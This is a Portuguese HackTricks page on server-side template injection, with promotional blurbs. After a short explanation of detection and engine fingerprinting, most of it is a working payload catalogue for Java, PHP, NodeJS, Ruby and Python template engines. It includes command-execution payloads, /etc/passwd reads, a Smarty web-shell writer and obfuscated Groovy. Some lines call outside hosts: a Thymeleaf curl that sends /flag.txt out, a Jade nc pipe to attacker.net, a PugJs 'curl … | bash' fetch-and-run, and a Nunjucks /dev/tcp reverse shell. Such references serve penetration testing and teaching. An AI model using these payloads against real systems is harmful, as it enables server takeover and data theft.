.. | ||
el-expression-language.md | ||
jinja2-ssti.md | ||
README.md |
SSTI (Injeção de Template no Lado do Servidor)
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
O que é injeção de template no lado do servidor?
Uma injeção de template no lado do servidor ocorre quando um atacante consegue usar a sintaxe nativa do template para injetar uma carga maliciosa em um template, que é então executado no lado do servidor.
Motores de template são projetados para gerar páginas web combinando templates fixos com dados voláteis. Ataques de injeção de template no lado do servidor podem ocorrer quando entrada de usuário é concatenada diretamente em um template, em vez de ser passada como dados. Isso permite que atacantes injetem diretivas arbitrárias de template para manipular o motor de template, muitas vezes possibilitando a eles tomar controle completo do servidor.
Um exemplo de código vulnerável veja o seguinte:
$output = $twig->render("Dear " . $_GET['name']);
No exemplo anterior, parte do template está sendo gerada dinamicamente usando o parâmetro GET
name
. Como a sintaxe do template é avaliada pelo lado do servidor, isso potencialmente permite que um atacante coloque um payload de injeção de template do lado do servidor dentro do parâmetro name
da seguinte forma:
http://vulnerable-website.com/?name={{bad-stuff-here}}
Construindo um ataque de injeção de template no lado do servidor
Detectar
Como em qualquer vulnerabilidade, o primeiro passo para a exploração é ser capaz de encontrá-la. Talvez a abordagem inicial mais simples seja tentar fuzzing no template injetando uma sequência de caracteres especiais comumente usados em expressões de template, como o poliglota ${{<%[%'"}}%\
.
Para verificar se o servidor está vulnerável, você deve observar as diferenças entre a resposta com dados regulares no parâmetro e o payload fornecido.
Se um erro for lançado, será bastante fácil descobrir que o servidor está vulnerável e até qual motor está em execução. Mas você também pode encontrar um servidor vulnerável se estiver esperando que ele reflita o payload fornecido e ele não está sendo refletido, ou se houver alguns caracteres faltando na resposta.
Detectar - Contexto de texto simples
A entrada fornecida está sendo renderizada e refletida na resposta. Isso é facilmente confundido com uma simples vulnerabilidade XSS, mas é fácil diferenciar se você tentar definir operações matemáticas dentro de uma expressão de template:
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}
Detectar - Contexto de código
Nestes casos, a entrada do usuário está sendo colocada dentro de uma expressão de template:
engine.render("Hello {{"+greeting+"}}", data)
O acesso à URL que acessa essa página pode ser semelhante a: http://vulnerable-website.com/?greeting=data.username
Se você alterar o parâmetro greeting
por um valor diferente, a resposta não conterá o nome de usuário, mas se você acessar algo como: http://vulnerable-website.com/?greeting=data.username}}hello
, então, a resposta conterá o nome de usuário (se os caracteres de fechamento da expressão de template forem }}
).
Se um erro for gerado durante esses testes, será mais fácil descobrir que o servidor está vulnerável.
Identificar
Uma vez que você detectou o potencial de injeção de template, o próximo passo é identificar o motor de template.
Embora existam um grande número de linguagens de template, muitas delas usam uma sintaxe muito semelhante que é escolhida especificamente para não entrar em conflito com os caracteres HTML.
Se você tiver sorte, o servidor estará imprimindo os erros e você poderá encontrar o motor usado dentro dos erros. Algumas cargas úteis possíveis que podem causar erros:
${} |
{{}} |
<%= %> |
---|---|---|
${7/0} |
{{7/0}} |
<%= 7/0 %> |
${foobar} |
{{foobar}} |
<%= foobar %> |
${7*7} |
{{7*7}} |
`` |
Caso contrário, você precisará testar manualmente diferentes cargas úteis específicas da linguagem e estudar como elas são interpretadas pelo motor de template. Uma maneira comum de fazer isso é injetar operações matemáticas arbitrárias usando a sintaxe de diferentes motores de template. Você pode então observar se elas são avaliadas com sucesso. Para ajudar nesse processo, você pode usar uma árvore de decisão semelhante à seguinte:
Explorar
Ler
O primeiro passo após encontrar a injeção de template e identificar o motor de template é ler a documentação. Áreas-chave de interesse são:
- Seções 'Para Autores de Template' que cobrem a sintaxe básica.
- 'Considerações de Segurança' - é provável que quem desenvolveu o aplicativo que você está testando não tenha lido isso, e pode conter algumas dicas úteis.
- Listas de métodos, funções, filtros e variáveis embutidos.
- Listas de extensões/plugins - alguns podem estar habilitados por padrão.
Explorar
Assumindo que nenhum exploit se apresentou, o próximo passo é explorar o ambiente para descobrir exatamente a que você tem acesso. Você pode esperar encontrar tanto objetos padrão fornecidos pelo motor de template quanto objetos específicos da aplicação passados para o template pelo desenvolvedor. Muitos sistemas de template expõem um objeto 'self' ou namespace contendo tudo que está no escopo, e uma maneira idiomática de listar os atributos e métodos de um objeto.
Se não houver um objeto self embutido, você terá que forçar nomes de variáveis usando SecLists e a coleção de wordlist do Burp Intruder.
Objetos fornecidos pelo desenvolvedor são particularmente propensos a conter informações sensíveis e podem variar entre diferentes templates dentro de uma aplicação, portanto, esse processo deve idealmente ser aplicado a cada template distinto individualmente.
Atacar
Neste ponto, você deve ter uma ideia firme da superfície de ataque disponível para você e poderá prosseguir com técnicas tradicionais de auditoria de segurança, revisando cada função em busca de vulnerabilidades exploráveis. É importante abordar isso no contexto da aplicação mais ampla - algumas funções podem ser usadas para explorar recursos específicos da aplicação. Os exemplos a seguir usarão injeção de template para acionar criação de objeto arbitrário, leitura/escrita de arquivo arbitrário, inclusão de arquivo remoto, divulgação de informações e vulnerabilidades de escalonamento de privilégios.
Ferramentas
TInjA
um scanner eficiente de SSTI + CSTI que utiliza políglotas inovadores
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Tabela de Injeção de Template
uma tabela interativa contendo os políglotas de injeção de template mais eficientes junto com as respostas esperadas dos 44 motores de template mais importantes.
Exploits
Genérico
Nesta wordlist você pode encontrar variáveis definidas nos ambientes de alguns dos motores mencionados abaixo:
Java
Java - Injeção básica
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
Java - Recuperar as variáveis de ambiente do sistema
${T(java.lang.System).getenv()}
Java - Recuperar /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Você pode testar seus payloads em https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legado)
${7*'7'} Nada
${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Bypass de Sandbox
⚠️ funciona apenas em versões do Freemarker abaixo de 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Mais informações
- Na seção FreeMarker de https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
Mais informações
- Na seção Velocity de https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf (Java)
A expressão de teste típica para SSTI é ${7*7}
. Esta expressão também funciona no Thymeleaf. Se você deseja alcançar execução remota de código, pode usar uma das seguintes expressões de teste:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
No entanto, como mencionamos anteriormente, expressões só funcionam em atributos especiais do Thymeleaf. Se for necessário usar uma expressão em um local diferente no template, o Thymeleaf suporta inserção de expressões. Para usar esse recurso, você deve colocar uma expressão dentro de [[...]]
ou [(...)]
(escolha um ou outro dependendo se você precisa escapar símbolos especiais). Portanto, um payload simples de detecção de SSTI para Thymeleaf seria [[${7*7}]]
.
As chances de o payload de detecção acima funcionar são, no entanto, muito baixas. Vulnerabilidades de SSTI geralmente ocorrem quando um template é gerado dinamicamente no código. Por padrão, o Thymeleaf não permite tais templates gerados dinamicamente e todos os templates devem ser criados anteriormente. Portanto, se um desenvolvedor deseja criar um template a partir de uma string em tempo real, ele precisaria criar seu próprio TemplateResolver. Isso é possível, mas acontece muito raramente.
Se olharmos mais a fundo na documentação do motor de template do Thymeleaf, encontraremos um recurso interessante chamado pré-processamento de expressões. Expressões colocadas entre duplos sublinhados (__...__
) são pré-processadas e o resultado do pré-processamento é usado como parte da expressão durante o processamento regular. Aqui está um exemplo oficial da documentação do Thymeleaf:
#{selection.__${sel.code}__}
Exemplo Vulnerável
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Mais informações
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Bypass de filtros
Múltiplas expressões de variáveis podem ser usadas, se ${...}
não funcionar tente #{...}
, *{...}
, @{...}
ou ~{...}
.
- Ler
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Script Personalizado para geração de payload
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Mais Informações
Manipulação de Visualização Spring (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Pebble (Java)
{{ someString.toUPPERCASE() }}
Versão antiga do Pebble ( < versão 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Nova versão do Pebble:
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava é um projeto de código aberto desenvolvido pela Hubspot, disponível em https://github.com/HubSpot/jinjava/
Jinjava - Execução de comando
Corrigido por https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Mais informações
Hubspot - HuBL (Java)
{% %}
delimitadores de instrução{{ }}
delimitadores de expressão{# #}
delimitadores de comentário{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Procure por "com.hubspot.content.hubl.context.TemplateContextRequest" e descobriu o projeto Jinjava no Github.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Mais informações
Expression Language - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
EL fornece um mecanismo importante para permitir que a camada de apresentação (páginas web) comunique-se com a lógica da aplicação (managed beans). EL é utilizado por várias tecnologias JavaEE, como a tecnologia JavaServer Faces, tecnologia JavaServer Pages (JSP) e Contexts and Dependency Injection para Java EE (CDI).
Confira a seguinte página para aprender mais sobre a exploração de interpretadores EL:
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Groovy (Java)
Esta forma de contornar o Security Manager foi retirada deste relatório.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Mais informações
- Na seção Smarty de https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Erro
{{foobar}} Nada
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Formato de template
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Mais informações
- Na seção Twig e Twig (Sandboxed) de https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates é inspirado pelo Twig, mas é um motor de template PHP nativo em vez de um motor de template compilado.
controller:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
modelo de página:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
layout: template de layout
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
PHPlib e HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB é o mesmo que PHPlib, mas portado para Pear.
authors.tpl
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Mais informações
- Na seção Jade de https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen
patTemplate (PHP)
patTemplate é um motor de templating PHP que não compila, utilizando tags XML para dividir um documento em diferentes partes
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Handlebars (NodeJS)
Path Traversal (mais informações aqui).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Erro
- ${7*7} = ${7*7}
- Nada
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Mais informações
JsRender (NodeJS)
Template | Descrição |
---|---|
Avaliar e renderizar saída | |
Avaliar e renderizar saída codificada em HTML | |
Comentário | |
and | Permitir código (desativado por padrão) |
- = 49
Lado do Cliente
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Lado do Servidor
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Mais informações
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Exemplo de renderização do lado do servidor
var pugjs = require('pug');
home = pugjs.render(injected_page)
Mais informações
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Sem saída
- #{7*7} = #{7*7}
- {{console.log(1)}} = Erro
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
Mais informações
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Erro
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Mais informações
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Mais informações
Python
Confira a seguinte página para aprender truques sobre execução de comandos arbitrários contornando sandboxes em python:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Tornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Erro
{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Mais informações
Jinja2 (Python)
Jinja2 é um motor de templates completo para Python. Possui suporte total a unicode, um ambiente de execução opcional integrado e protegido, é amplamente utilizado e possui licença BSD.
{{7*7}} = Erro
${7*7} = ${7*7}
{{foobar}} Nada
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Formato de Template
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE independente de __builtins__
:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
